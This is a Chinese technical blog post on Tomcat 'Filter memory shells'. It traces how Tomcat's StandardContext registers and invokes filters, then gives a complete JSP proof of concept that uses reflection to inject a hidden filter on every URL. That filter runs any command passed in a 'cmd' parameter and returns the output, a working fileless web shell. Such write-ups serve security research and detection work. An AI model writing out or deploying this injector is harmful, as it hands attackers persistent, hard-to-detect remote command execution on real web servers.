Filter内存马

Filter内存马

Filter内存马 – Erosion2020 – 博客园

Filter样例:

package org.example.memoryshell;

import javax.servlet.*;
import java.io.IOException;

// 如果不想在web.xml中配置,也可以使用这样的注解配置
// @WebFilter(filterName = "FilterShell", urlPatterns = {"/*"})
public class FilterShell implements Filter {
    @Override
    public void init(FilterConfig filterConfig) throws ServletException {
        System.out.println("FilterShell init......");
        Filter.super.init(filterConfig);
    }

    @Override
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        System.out.println("FilterShell doFilter......");
    }

    @Override
    public void destroy() {
        System.out.println("FilterShell destroy......");
        Filter.super.destroy();
    }
}

pom.xml中的配置:

<filter>
    <filter-name>FilterShell</filter-name>
    <filter-class>org.example.memoryshell.FilterShell</filter-class>
</filter>
<filter-mapping>
    <filter-name>FilterShell</filter-name>
    <url-pattern>/*</url-pattern>
</filter-mapping>

Filter创建调用栈:

我们在Filter类的class、init、doFilter这三个地方打上断点分析:

standardcontext类的filterStart()方法:

    public boolean filterStart() {

        if (getLogger().isTraceEnabled()) {
            getLogger().trace("Starting filters");
        }
        // Instantiate and record a FilterConfig for each defined filter
        boolean ok = true;
        synchronized (filterDefs) {
            filterConfigs.clear();
            for (Entry<String,FilterDef> entry : filterDefs.entrySet()) {
                String name = entry.getKey();
                if (getLogger().isTraceEnabled()) {
                    getLogger().trace(" Starting filter '" + name + "'");
                }
                try {
                    ApplicationFilterConfig filterConfig = new ApplicationFilterConfig(this, entry.getValue());
                    filterConfigs.put(name, filterConfig);
                } catch (Throwable t) {
                    Throwable throwable = ExceptionUtils.unwrapInvocationTargetException(t);
                    ExceptionUtils.handleThrowable(throwable);
                    getLogger().error(sm.getString("standardContext.filterStart", name), throwable);
                    ok = false;
                }
            }
        }

        return ok;
    }

这段主要就是将旧的filterConfigs清空,对filterDefs加锁后将里面的每一个 FilterDef(Filter 定义,包含 filter-name、filter-class、init-params 等,也就是我们在web.xml中配置的那个filterName)实例化为filterConfig再放进filterConfigs

放开断点后可以看到初始化方法的调用:org.apache.catalina.core.ApplicationFilterConfig#initFilter

    private void initFilter() throws ServletException {
        if (context instanceof StandardContext && context.getSwallowOutput()) {
            try {
                SystemLogHandler.startCapture();
                filter.init(this);
            } finally {
                String capturedlog = SystemLogHandler.stopCapture();
                if (capturedlog != null && !capturedlog.isEmpty()) {
                    getServletContext().log(capturedlog);
                }
            }
        } else {
            filter.init(this);
        }

        // Expose filter via JMX
        registerJMX();
    }

可以看到初始化必须要经过实例化为一个ApplicationFilterConfig 。因此我们就需要考虑构造filterDef将其放到filterDefs中,然后还有就是需要再根据filterDef生成一个ApplicationFilterConfig,然后写入到filterConfigs中。

我们再往下发现是org.apache.catalina.core.StandardWrapperValve#invoke调用org.apache.catalina.core.ApplicationFilterChain#doFilter再调用到我们创建的filter的dofilter。

我们看看StandardWrapperValve这个类中的invoke方法发现它是先调用ApplicationFilterChain filterChain = ApplicationFilterFactory.createFilterChain(request, wrapper, servlet);filterChain.doFilter(request.getRequest(), response.getResponse());我们去看看org.apache.catalina.core.ApplicationFilterFactory#createFilterChain

    public static ApplicationFilterChain createFilterChain(ServletRequest request, Wrapper wrapper, Servlet servlet) {

        // 检查 Servlet 是否存在
        if (servlet == null) {
            return null;
        }

        // 创建或复用 ApplicationFilterChain 对象
        ApplicationFilterChain filterChain;
        if (request instanceof Request) {
            Request req = (Request) request;
            if (Globals.IS_SECURITY_ENABLED) {
                // Security: Do not recycle
                filterChain = new ApplicationFilterChain();
            } else {
                filterChain = (ApplicationFilterChain) req.getFilterChain();
                if (filterChain == null) {
                    filterChain = new ApplicationFilterChain();
                    req.setFilterChain(filterChain);
                }
            }
        } else {
            // Request dispatcher in use
            filterChain = new ApplicationFilterChain();
        }
        
        //将目标 Servlet 实例设置到链中,当所有 Filter 执行完后,链会调用该 Servlet 的 service 方法。
        //记录该 Wrapper 是否支持异步处理,供 Filter 链在执行过程中判断。
        filterChain.setServlet(servlet);
        filterChain.setServletSupportsAsync(wrapper.isAsyncSupported());

        //通过 wrapper.getParent() 获取到 StandardContext(Wrapper 是 Servlet 包装器,其父级是 Context)。
        //context.findFilterMaps() 返回该应用上下文中所有已注册的 FilterMap 对象数组。这些 FilterMap 定义了各个 Filter 的映射规则(URL 模式、Servlet 名称、调度类型)。
        StandardContext context = (StandardContext) wrapper.getParent();
        FilterMap filterMaps[] = context.findFilterMaps();

        // 为空直接返回
        if (filterMaps == null || filterMaps.length == 0) {
            return filterChain;
        }

        // 每个请求都会携带一个 DispatcherType,表示请求是如何到达的(如 REQUEST、FORWARD、INCLUDE、ERROR、ASYNC)。它存储在 request 的属性中,由 Tomcat 在调用链开始时设置。
        //如果获取不到(异常情况),默认为 REQUEST 并记录警告。
        DispatcherType dispatcher = (DispatcherType) request.getAttribute(Globals.DISPATCHER_TYPE_ATTR);
        if (dispatcher == null) {
            dispatcher = DispatcherType.REQUEST;
            log.warn(sm.getString("applicationFilterFactory.noDispatcherType"));
        }

        //获取请求路径和 Servlet 名称
        String requestPath = FilterUtil.getRequestPath(request);
        String servletName = wrapper.getName();

        // 添加所有按 URL 匹配的 Filter
        for (FilterMap filterMap : filterMaps) {
            if (!matchDispatcher(filterMap, dispatcher)) {
                continue;
            }
            if (!FilterUtil.matchFiltersURL(filterMap, requestPath)) {
                continue;
            }
            ApplicationFilterConfig filterConfig =
                    (ApplicationFilterConfig) context.findFilterConfig(filterMap.getFilterName());
            if (filterConfig == null) {
                log.warn(sm.getString("applicationFilterFactory.noFilterConfig", filterMap.getFilterName()));
                continue;
            }
            filterChain.addFilter(filterConfig);
        }

        // 添加按 Servlet 名称匹配的 Filter
        //遍历所有 FilterMap。
        //第一个检查 matchDispatcher:该 Filter 是否支持当前调度类型(如 REQUEST)。若不匹配则跳过。
        //第二个检查 matchFiltersURL:判断请求路径是否匹配 Filter 映射中的 URL 模式(支持精确匹配、前缀匹配、后缀匹配等,如 /*、*.jsp)。
        //若通过检查,则根据 FilterMap 中的 Filter 名称,从 StandardContext 的 filterConfigs Map 中查找对应的 ApplicationFilterConfig(已初始化的 Filter 实例)。
        //如果 filterConfig 为空(理论上是配置错误),记录警告并跳过。
        //最后将有效的 filterConfig 添加到 filterChain 中。
        for (FilterMap filterMap : filterMaps) {
            if (!matchDispatcher(filterMap, dispatcher)) {
                continue;
            }
            if (!matchFiltersServlet(filterMap, servletName)) {
                continue;
            }
            ApplicationFilterConfig filterConfig =
                    (ApplicationFilterConfig) context.findFilterConfig(filterMap.getFilterName());
            if (filterConfig == null) {
                log.warn(sm.getString("applicationFilterFactory.noFilterConfig", filterMap.getFilterName()));
                continue;
            }
            filterChain.addFilter(filterConfig);
        }

        // 返回
        return filterChain;
    }

可以注意到filterMaps[]存放的就是我们filter的url映射,即FilterName 和对应的URLPattern

相关的数据结构:

  • FilterDefs:存放FilterDef的数组 ,FilterDef 中存储着我们过滤器名,过滤器实例,作用 url 等基本信息
  • FilterConfigs:存放filterConfig的数组,在 FilterConfig 中主要存放 FilterDef 和 Filter对象等信息
  • FilterMaps:存放FilterMap的数组,在 FilterMap 中主要存放了 FilterName 和 对应的URLPattern
  • FilterChain:过滤器链,该对象上的 doFilter 方法能依次调用链上的 Filter
  • ContextConfig:Web应用的上下文配置类
  • StandardContext:Context接口的标准实现类,一个 Context 代表一个 Web 应用,其下可以包含多个 Wrapper
  • StandardWrapperValve:一个 Wrapper 的标准实现类,一个 Wrapper 代表一个Servlet

POC:

<%--
  Created by IntelliJ IDEA.
  User: 15137
  Date: 2024/11/29
  Time: 14:33
  To change this template use File | Settings | File Templates.
--%>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>

<%
    final String name = "y4tacker";
    ServletContext servletContext = request.getSession().getServletContext();

    Field appctx = servletContext.getClass().getDeclaredField("context");
    appctx.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

    Field stdctx = applicationContext.getClass().getDeclaredField("context");
    stdctx.setAccessible(true);
    StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

    Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
    Configs.setAccessible(true);
    Map filterConfigs = (Map) Configs.get(standardContext);

    if (filterConfigs.get(name) == null){
        Filter filter = new Filter() {
            @Override
            public void init(FilterConfig filterConfig) throws ServletException {

            }

            @Override
            public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
                HttpServletRequest req = (HttpServletRequest) servletRequest;
                if (req.getParameter("cmd") != null){
                    byte[] bytes = new byte[1024];
                    Process process = new ProcessBuilder("cmd","/c",req.getParameter("cmd")).start();
                    int len = process.getInputStream().read(bytes);
                    servletResponse.getWriter().write(new String(bytes,0,len));
                    process.destroy();
                    return;
                }
                filterChain.doFilter(servletRequest,servletResponse);
            }

            @Override
            public void destroy() {

            }

        };

        FilterDef filterDef = new FilterDef();
        filterDef.setFilter(filter);
        filterDef.setFilterName(name);
        filterDef.setFilterClass(filter.getClass().getName());
        standardContext.addFilterDef(filterDef);

        FilterMap filterMap = new FilterMap();
        filterMap.addURLPattern("/*");
        filterMap.setFilterName(name);
        filterMap.setDispatcher(DispatcherType.REQUEST.name());

        standardContext.addFilterMapBefore(filterMap);

        Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
        constructor.setAccessible(true);
        ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);

        filterConfigs.put(name,filterConfig);
        out.print("Inject Success !");
    }
%>

<html>
<head>
    <title>Title</title>
</head>
<body>

</body>
</html>

这种注入filter内存马的方法只支持 Tomcat 7.x 以上,因为 javax.servlet.DispatcherType 类是servlet 3 以后引入,而 Tomcat 7以上才支持 Servlet 3

 filterMap.setDispatcher(DispatcherType.REQUEST.name());

另外在tomcat不同版本需要通过不同的库引入FilterMap和FilterDef:

<!-- tomcat 7 -->
<%@ page import = "org.apache.catalina.deploy.FilterMap" %>
<%@ page import = "org.apache.catalina.deploy.FilterDef" %>
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇